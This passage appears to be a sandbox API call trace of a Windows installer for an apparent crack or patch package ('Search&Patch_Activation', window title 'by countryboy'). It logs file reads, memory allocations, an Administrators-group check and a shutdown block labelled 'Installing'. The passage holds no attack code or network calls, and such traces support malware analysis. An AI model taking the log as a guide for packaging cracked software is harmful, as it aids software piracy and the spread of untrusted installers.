lpDistanceToMoveHigh=0x18fe70*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fe70*=0) returned 0x1b449 [0253.352] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x18fe68 | out: lpFileSizeHigh=0x18fe68*=0x0) returned 0x90e34 [0253.352] VirtualAlloc (lpAddress=0x2dc000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x2dc000 [0253.355] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.355] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.355] VirtualAlloc (lpAddress=0x0, dwSize=0x3e6c, flAllocationType=0x1000, flProtect=0x4) returned 0x3f0000 [0253.356] VirtualAlloc (lpAddress=0x0, dwSize=0x200000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c70000 [0253.356] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.356] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.356] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.356] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.356] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.356] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.356] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.356] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.357] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.358] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x18fdd4*, lpNumberOfBytesRead=0x18fdb0*=0x4, lpOverlapped=0x0) returned 1 [0253.359] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fdb0*=0x1000, lpOverlapped=0x0) returned 1 [0253.367] VirtualAlloc (lpAddress=0x2f0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x2f0000 [0253.368] VirtualFree (lpAddress=0x2ec000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0253.388] VirtualAlloc (lpAddress=0x2ec000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2ec000 [0253.390] VirtualAlloc (lpAddress=0x320000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x320000 [0253.393] VirtualAlloc (lpAddress=0x324000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x324000 [0253.394] VirtualAlloc (lpAddress=0x328000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x328000 [0253.396] VirtualAlloc (lpAddress=0x32c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x32c000 [0253.399] VirtualAlloc (lpAddress=0x330000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x330000 [0253.400] VirtualAlloc (lpAddress=0x334000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x334000 [0253.402] VirtualAlloc (lpAddress=0x338000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x338000 [0253.403] VirtualAlloc (lpAddress=0x33c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x33c000 [0253.405] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.405] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.405] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.405] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.405] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.405] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.405] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.405] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.405] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.406] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.406] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.406] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.406] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.406] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.406] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.406] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.406] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.406] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.411] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.411] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x18fdb4*, lpNumberOfBytesRead=0x18fd90*=0x4, lpOverlapped=0x0) returned 1 [0253.412] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd90, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fd90*=0x1000, lpOverlapped=0x0) returned 1 [0253.414] VirtualAlloc (lpAddress=0x340000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x340000 [0253.416] VirtualAlloc (lpAddress=0x344000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x344000 [0253.418] VirtualAlloc (lpAddress=0x348000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x348000 [0253.420] VirtualAlloc (lpAddress=0x34c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x34c000 [0253.422] VirtualAlloc (lpAddress=0x350000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x350000 [0253.424] VirtualAlloc (lpAddress=0x354000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x354000 [0253.426] VirtualAlloc (lpAddress=0x358000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x358000 [0253.427] VirtualAlloc (lpAddress=0x35c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x35c000 [0253.430] VirtualAlloc (lpAddress=0x360000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x360000 [0253.432] VirtualAlloc (lpAddress=0x364000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x364000 [0253.433] VirtualAlloc (lpAddress=0x368000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x368000 [0253.435] VirtualAlloc (lpAddress=0x36c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x36c000 [0253.437] VirtualAlloc (lpAddress=0x370000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x370000 [0253.452] VirtualAlloc (lpAddress=0x374000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x374000 [0253.453] VirtualAlloc (lpAddress=0x378000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x378000 [0253.455] VirtualAlloc (lpAddress=0x37c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x37c000 [0253.467] VirtualAlloc (lpAddress=0x380000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0253.469] VirtualAlloc (lpAddress=0x384000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x384000 [0253.470] VirtualAlloc (lpAddress=0x388000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x388000 [0253.472] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0253.472] GetProcAddress (hModule=0x752b0000, lpProcName="GetUserDefaultUILanguage") returned 0x752c4463 [0253.472] GetUserDefaultUILanguage () returned 0x409 [0253.472] VirtualAlloc (lpAddress=0x38c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x38c000 [0253.473] SetWindowTextA (hWnd=0x2024a, lpString="Activation <(:-)> by countryboy") returned 1 [0253.473] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xc, wParam=0x0, lParam=0x38e000) returned 0x1 [0253.473] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xae, wParam=0x8, lParam=0x0) returned 0x0 [0253.474] SendNotifyMessageA (hWnd=0x60182, Msg=0x496, wParam=0x2711, lParam=0x0) returned 1 [0253.475] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0253.475] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0253.475] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0253.475] VerSetConditionMask (ConditionMask=0x1801b, TypeMask=0x80000000, Condition=0x10) returned 0x1b01b [0253.475] VerifyVersionInfoW (in: lpVersionInformation=0x18fd58, dwTypeMask=0x33, dwlConditionMask=0x1b01b | out: lpVersionInformation=0x18fd58) returned 1 [0253.475] AllocateAndInitializeSid (in: pIdentifierAuthority=0x49c788, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fe64 | out: pSid=0x18fe64*=0x590d80*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0253.476] GetVersion () returned 0x1db10106 [0253.476] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x76a60000 [0253.476] GetProcAddress (hModule=0x76a60000, lpProcName="CheckTokenMembership") returned 0x76a6df04 [0253.476] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x590d80*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18fe60 | out: IsMember=0x18fe60) returned 1 [0253.477] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0253.477] GetProcAddress (hModule=0x76860000, lpProcName="ShutdownBlockReasonDestroy") returned 0x768da88e [0253.477] ShutdownBlockReasonDestroy (hWnd=0x2024a) returned 0 [0253.480] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0253.480] GetProcAddress (hModule=0x76860000, lpProcName="ShutdownBlockReasonCreate") returned 0x768da84e [0253.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38eb74, cbMultiByte=10, lpWideCharStr=0x18de74, cchWideChar=4095 | out: lpWideCharStr="Installing") returned 10 [0253.480] ShutdownBlockReasonCreate (hWnd=0x2024a, pwszReason="Installing") returned 1 [0253.482] GetCommandLineA () returned="\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp\" /SL5=\"$60182,111616,111616,C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " [0253.482] VirtualAlloc (lpAddress=0x390000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x390000 [0253.483] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.483] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.483] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.483] ReadFile (in: hFile=0x10c, lpBuffer=0x2d7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x2d7cf8*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0253.483] ReadFile (in: hFile=0x10c, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0253.483] ReadFile (in: hFile=0x10c, 